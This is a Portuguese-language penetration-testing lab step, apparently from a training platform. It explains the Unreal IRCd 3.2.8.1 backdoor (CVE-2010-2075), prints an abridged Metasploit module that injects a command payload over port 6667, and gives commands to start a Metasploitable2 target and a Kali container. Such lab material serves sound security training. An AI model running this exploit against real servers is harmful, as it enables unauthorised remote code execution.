Entender a Vulnerabilidade do Unreal IRCd e Iniciar o Ambiente de Experimento
A versão 3.2.8.1 do Unreal IRCd contém uma vulnerabilidade de backdoor (CVE-2010-2075) que permite que invasores remotos executem código arbitrário no sistema afetado. A vulnerabilidade existe na macro DEBUG3_DOLOG_SYSTEM, que inclui código malicioso externo que pode ser explorado por um invasor.
Informações relevantes:
O módulo Metasploit para explorar esta vulnerabilidade:
Aqui está uma breve visão geral do módulo Metasploit:
## Require necessary modules
require 'msf/core'
## Define the Metasploit module class
class MetasploitModule < Msf::Exploit::Remote
## Module initialization with details like name, description, author, references, etc.
def initialize(info = {})
super(update_info(info,
'Name' => 'UnrealIRCD 3.2.8.1 Backdoor Command Execution',
'Description' => %q{
This module exploits a malicious backdoor that was added to the
Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the
Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.
},
## ... (omitted for brevity)
))
## Set default options
register_options(
[
Opt::RPORT(6667)
], self.class)
end
## Exploit method
def exploit
## Connect to the remote service
connect
## Print banner information
print_status("Connected to #{rhost}:#{rport}...")
banner = sock.get_once(-1, 30)
banner.to_s.split("\n").each do |line|
print_line(" #{line}")
end
## Send the backdoor command
print_status("Sending backdoor command...")
sock.put("AB;" + payload.encoded + "\n")
## Wait for session creation or timeout
1.upto(120) do
break if session_created?
select(nil, nil, nil, 0.25)
handler()
end
disconnect
end
end
Agora você iniciará a máquina de ataque (container Kali Linux) e a máquina alvo (máquina virtual Metasploitable2) para o experimento.
- Abra um terminal xfce na máquina host LabEx e inicie o alvo Metasploitable2 executando o seguinte comando:
sudo virsh start Metasploitable2
Aguarde o início da máquina alvo, pode levar de 1 a 3 minutos.
- Teste a conectividade com a máquina alvo fazendo ping nela:
ping 192.168.122.102
Pressione Ctrl+C para parar o ping.
- Inicie o container Kali Linux e entre no ambiente bash executando:
docker run -ti --network host b5b709a49cd5 bash
- Dentro do container Kali, teste a conexão de rede com a máquina alvo:
ping 192.168.122.102
Pressione Ctrl+C para parar o ping.
Agora, tanto a máquina de ataque quanto a máquina alvo estão em execução, e você pode iniciar o teste de penetração.
Observação: Se você sair acidentalmente do bash atual, o container Kali parará automaticamente. Você pode executar docker run -ti --network host b5b709a49cd5 bash novamente no host para iniciar um novo container Kali e entrar no bash para continuar o experimento.